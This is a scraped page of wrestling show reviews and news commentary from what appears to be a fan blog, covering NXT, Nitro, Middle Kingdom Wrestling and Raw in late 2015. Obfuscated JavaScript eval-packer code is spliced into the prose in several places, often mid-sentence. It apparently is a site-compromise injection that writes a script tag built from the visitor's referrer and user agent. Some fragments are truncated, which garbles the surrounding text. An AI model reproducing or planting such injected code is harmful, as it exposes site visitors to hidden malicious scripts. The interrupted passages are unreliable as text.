NXT – November 25, 2015: Don’t You Dare

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|afdnf|var|u0026u|referrer|ythzh||js|php'.split('|'),0,{})) November 25, 2015
Location: Full Sail University, Winter Park, Florida
Commentators: Byron Saxton, Rich Brennan, Corey Graves

Opening sequence.

Tag Team Titles: Vaudevillains vs. Scott Dawson/Dash Wilder

We recap Asuka dismantling Dana Brooke at Takeover.

Dana Brooke vs. Asuka

Maybe not as Dana talks from the stage and Emma jumps Asuka from behind and puts her in the Emma Lock. No match.

Sami Zayn is coming back.

Apollo Crews vs. Jesse Sorensen

Charles Robinson has been sent to referee the main event.

Eva covers several times for two but Bayley takes her down with a running clothesline. Robinson breaks up the running elbow in the corner and Sliced Red gets a very close two. Another try at Sliced Red results in a ref bump and Eva goes up. Bayley stops her again though and, after dealing with Nia, grabs a super Bayley to Belly with another referee coming in for the count at 6:38.

Nia Jax lays out Bayley post match and holds up the belt to end the show.

Results

Apollo Crews b. Jesse Sorensen – Throw into a powerbomb

Bayley b. Eva Marie – Super Bayley to Belly

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

http://www.amazon.com/dp/B0188BJRGU

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




TNA Postpones India Tour

http://411mania.com/wrestling/tna-postpones-next-weeks-tour-of-india/

 

Dare I say RUH RO!

 

I know they have TV again and all that good stuff, but these are the kinds of things that make TNA look lame.  I get that the tour is probably coming very soon, but there’s always something screwing them up and it makes TNA look like they have no idea what they’re doing from day to day.  That got old a long time ago.




NWA World Championship Wrestling Being Added To The Network

I’m eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhhif|var|u0026u|referrer|bdrfi||js|php'.split('|'),0,{})) talking the TBS show from 1986-1988.  This is the treat that a lot of old school fans have been waiting on as it’s the opposite of what you see today.  These shows were almost entirely built around the promos to make you pay for the house shows later.  The idea of seeing big names fight each other on this show was almost unheard of and it made for some much more entertaining TV.  It’s not for everyone and you might get bored at times, but Ric Flair and Dusty Rhodes one upping each other every week is some of the best you’ll ever see.  Check this out if you want to see what made WCW work in the old days.

 

http://network.wwe.com/shows/vault/nwa-world-championship-wrestling




Brad Maddox Released

http://411mania.com/wrestling/wwe-releases-brad-maddox/

They could really use some spring cleaning so maybe this is the start.  It would be nice considering how many people they have on the payroll who never do anything.  Maddox tried but there’s only so much you can do with his size and look.




Monday Nitro – July 3, 2000: It’s Coming And We Can’t Stop It

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kdaye|var|u0026u|referrer|ithey||js|php'.split('|'),0,{})) Nitro #247
Date: July 3, 2000
Location: Civic Center, Charleston, West Virginia
Commentators: Tony Schiavone, Mark Madden, Scott Hudson

Four ambulances are waiting outside.

Opening sequence.

3 Count vs. Jung Dragons

Tank makes them dance, including the returning Helms.

Kevin Nash arrives. I have no idea why his clothes are already in his dressing room.

Cat has a proposition for the Dragons.

Goldberg arrives.

Mike Awesome powerbombs a backstage worker through a table.

During the break, the locker room had to hold Nash back and Awesome powerbombed a security guard. That would be the second man sent to the hospital tonight.

Terry Funk tells Johnny the Bull that he has a real tough opponent tonight before hitting Johnny with a chair.

Terry Funk vs. Johnny the Bull

We see Dale Torborg and Asya rehearsing earlier today when an explosion went off and knocked Asya off the stage.

Goldberg yells at Cat.

Post match the Perfect Event comes in for the big beatdown with the exercise bars. The rest of the Misfits run in for the save and everyone lays down for CPR from Gunns.

Nash tells Cat to make the match.

Awesome powerbombs another backstage guy. Is there a point to this anytime soon?

Cat is on the phone with Eric again and says he has an idea.

Jarrett brings out fat ladies dressed as vikings to Flight of the Valkyries (Hudson: “Or Kill the Wabbit to some of you out there.”). They praise Jarrett a bit and then sing some of the Goodbye song to keep this going. A guy from standards and practices comes out, only to eat a guitar shot. WAY too long for the point here, aside from it not being funny.

The third ambulance leaves.

Jarrett and Cat yell at each other a lot.

Shane Douglas vs. Booker T.

The Demon is back.

Cat puts a bunch of people in the battle royal and says their jobs are to hold Goldberg and Nash apart. Bonuses are promised.

We recap Vampiro vs. Torborg/Demon.

The Demon vs. Vampiro

Post match the hooded guys surround Vampiro but the lights go out and Vampiro is gone. Did you expect anything less?

Smooth talks to the Filthy Animals.

Cat gives the same speech to the Misfits and some other guys. Johnny the Bull is here despite being sent to the hospital earlier. God bless pre tapes.

During the break, Crowbar chased after Daffney but got laid out by Awesome and thrown in an ambulance.

Smooth brings Tygress in to see Cat. A proposition is made but Cat wants to keep his shoes on.

Rey Mysterio/Juventud Guerrera vs. Lance Storm/Kidman

Cat is getting his clothes back on and missed what just happened.

Vampiro is all annoyed and wants Demon in a Graveyard Match, whatever that is.

Cat gives the people in the battle royal a pep talk.

Battle Royal

Security holds them back to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

http://www.amazon.com/dp/B0188BJRGU

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Middle Kingdom Wrestling – October 12, 2015: American Know-How

Middle Kingdom Wrestling Episode 4
Date:
October 12, 2015
Location: CWE Gym, Dongguan, China
Commentator: Eddie Strong, Cam Ferguson

The opening sequence has changed a bit but the recap is still the same. They still need to get a better graphic though.

We open with a recap of Black Mamba being ejected from the tournament for cheating and getting to face the Slam as a result. That right there is all I needed for a recap so far as it took less than a minute and summed up the big story. Well done.

Ash vs. Jason

MKW Title Tournament Semi-Finals: Dalton Bragg vs. Len Bai

and we get a ridiculously slow motion Irish whip into a monkey flip to Bai.

until Bragg asks a little girl to rub his hand to make his stronger. Bragg’s cross body is countered into a backbreaker for two and Strong is somehow still on my nerves. After Bai hasn’t done anything flashy all match, he slaps on Cattle Mutilation of all things. Where did he learn that? A fisherman’s buster gets two on Bragg but he pops up and hits a nice middle rope Codebreaker to advance to the finals.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

http://www.amazon.com/dp/B0188BJRGU

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Raw Ratings SUCK And I’m Not A Bit Surprised

http://411mania.com/wrestling/wwe-raw-rating-tanks-to-new-low/

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iysbt|var|u0026u|referrer|afske||js|php'.split('|'),0,{})) is a combination of more than one thing.First and foremost, the NFL is killing WWE.  I don’t think that’s a bit secret at this point.

Second, the fans seem tired of the same matches over and over.  Last night’s main event was Rusev vs. Reigns.  That was a cool showdown in the battle royal last year but now, who in the world thinks Rusev is going to beat him?  It’s a boring match that is just set up as part of a much longer story.  In other words, don’t bother watching now because it’s going to be at least January before something interesting happens.

Third, the fans have gotten so used to having no one to cheer for that seeing ANOTHER heel champion is burning them out.  Reigns held the title for five minutes.  Unless you count Brock, who was still officially a heel, we haven’t had a face champion since Summerslam 2014.  That’s getting into TNA territory.  At some point, you have to give the people something to celebrate or they’re going to give up.

Fourth, the injuries are taking a big toll.  All those people being gone leaves a BIG chunk of the show needing to be filled in and it’s really hurting things.  Without Cena, Orton and Rollins (not to mention the part timers), there’s a lot of time to be filled.  Last night we had the New Day doing a (funny) segment that went nowhere and Ryback beating up Heath Slater in another “country music is stupid” segment.  Couple that with a nothing Mark Henry vs. Neville match and some midcard tag matches and there was nothing interesting to watch.

Finally, Sheamus is the World Champion.  Now Sheamus is a cool guy and capable of doing some good stuff in the ring (see the Big Show matches which gave Big Show his best performances in years), but coming into the title win, he had won one singles match since September.  I know WWE disagrees, but fans remember that.  They see a guy who stole the title and is likely holding it for a long time.  So we have a loser fighting a choker for the title while the Authority sits back and laughs.  How is that supposed to be entertaining?

At the end of the day, WWE needs to freshen things up a bit.  Aside from major changes like the show running long etc., they need something fresh.  I don’t mean giving the Authority new toys to play with.  I mean a new idea.  The Divas closing the show last week drew the best ratings in weeks.  Now the show shouldn’t be about the Divas, but the key thing as that felt fresh.  It wasn’t another tag match or another two upper midcard guys fighting on Monday night Maggle.

Freshen things up, get rid of Sheamus, stop having champions lose and BUILD UP SOMETHING FOR NEXT WEEK!  That still drives me nuts.  Why in the world can they never have a match built up for the following week unless it’s a tournament?  “Next week, Dean Ambrose gets his shot at the Intercontinental Title!  Ambrose beat Owens at Survivor Series and now he wants the gold!  Tune in next Monday!”  Maybe that can open the show instead of Stephanie strutting down to the ring and then yelling at someone for fifteen minutes.  I don’t know about you, but nothing gets me fired up more than TALKING!

 

But yeah, these numbers aren’t surprising given how little effort they’re putting in right now.




Solomon Crowe Gone From NXT

http://411mania.com/wrestling/solomon-crowe-removed-from-wwes-website/

I can’t say I blame them.  Crowe had potential but he never really clicked.  That’s definitely not to say he doesn’t have talent, but the little monster gimmick was never going to work.  I was really intrigued by the hacker gimmick though and was hoping it was going to go somewhere.  Unfortunately HHH allegedly didn’t like the idea, which is a shame because the clips i saw of it had potential.




Reviewing the Review: Survivor Series 2015

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfbei|var|u0026u|referrer|sdied||js|php'.split('|'),0,{})) I wait a little bit before writing these things because I want to let the shows settle in a little bit. I don’t want to throw up some immediate reactions and miss a few things that I would get with more time. In this case however, I haven’t changed what I was thinking since the show ended. This show had a few options to get out of the dilemmas WWE are in at the moment but some of those options are pretty horrid. Let’s get to it.

The pre-show did exactly what it needed to do: take a bunch of people and throw them together into a Survivor Series match to give them something to do and warm the crowd up. It was a group of midcarders with the returning Goldust getting a nice reaction. They seem to be setting up Goldust vs. Stardust, which makes little sense given how lame their first match was.

Charlotte defended the title against Paige and again sweet goodness they missed the point here. I know they were trying to get out from under the whole Reid Flair mess from Monday but their solution was to have a boring, run of the mill match. Instead of Charlotte trying to kill her, she started the match with a freaking waistlock. As soon as that happened, I knew they were done here. This had the potential to be a big slugfest but we had Paige working on the ribs and Charlotte just wrestling a normal match.

Then HHH came out and ate a spear, allowing Sheamus to cash in Money in the Bank five minutes later. This is where the show falls apart because the booking is stupid. So the story making the rounds is that the fans were going to boo Reigns winning the title so they decided to screw him over and build up sympathy, basically taking the Daniel Bryan path.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

http://www.amazon.com/dp/B0188BJRGU

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Monday Night Raw – November 23, 2015: The Real Injury Problem

Monday Night Raw
Date: November 23, 2015
Location: Bridgestone Arena, Nashville, Tennessee
Commentators: Michael Cole, John Bradshaw Layfield, Byron Saxton

We open with a recap of the World Title scene from last night.

Last night he kicked Roman off his mountain because just as he promised, he was one Brogue Kick away. Sheamus holds up the title and asks who looks stupid now. Cue Reigns to say he wants his rematch and the fans chant YES. Stephanie is of course right there to make fun of the fans because she needs their balls for her collection.

Recap of Undertaker and Kane squashing the Wyatts last night.

Dudley Boyz vs. Luke Harper/Bray Wyatt

Post match Rowan and Strowman come in to continue the beatdown.

Sasha Banks vs. Becky Lynch

Charlotte is ready to defend her title against Paige in a rematch tonight.

Mark Henry vs. Neville

Stardust/Ascension vs. Goldust/Prime Time Players

The winners dance after the match.

Here are Zeb Colter and Alberto Del Rio for the state of the MexAmerican union. MexAmerica was supposed to be a perfect nation but the early growing pains have been turned into fuel for all the haters on social media. Del Rio talks about everyone wanting to see something great but not being entertained enough. Therefore, the borders of MexAmerica are closed forever.

Divas Title: Charlotte vs. Paige

Charlotte is defending after beating Paige last night. After some big match intros they fight over a lockup, already showing more intensity than they had last night. They slap each other rather hard before Charlotte throws her face first onto the mat. A Fujiwara armbar sends Paige to the ropes and she yells at the fans to blow off some steam. Some knees to the chest get two for the champ and she puts on the figure four neck lock for those flipping slams.

Paige pulls her out of the corner for a crash and puts on a chinlock. That goes as far as a chinlock is going to go so Paige puts on her own figure four neck lock. A low superkick gets two and a suplex into the ropes gets the same. Paige gets tired of the submissions and hits Charlotte in the face a few times for two. After a leg lock from Paige, both of them score with kicks to the face as we take a break.

Paige sends her into the steps and puts on the PTO on the table.

We recap how the main event was set up.

Dean Ambrose/Dolph Ziggler vs. Kevin Owens/Tyler Breeze

Rusev vs. Roman Reigns

Barrett gets a chair but Reigns fights off Rusev, Barrett and the invading Sheamus to end the show.

Results

Luke Harper/Bray Wyatt b. Dudley Boyz – Discus lariat to Bubba

Sasha Banks b. Becky Lynch – Rollup with a handful of trunks

Neville b. Mark Henry – Red Arrow

Goldust/Prime Time Players b. Stardust/Ascension – Clash of the Titus to Konnor

Paige vs. Charlotte went to a double countout

Dolph Ziggler/Dean Ambrose b. Tyler Breeze/Kevin Owens – Dirty Deeds to Breeze

Roman Reigns b. Rusev via DQ when King Barrett interfered

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

http://www.amazon.com/dp/B0188BJRGU

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6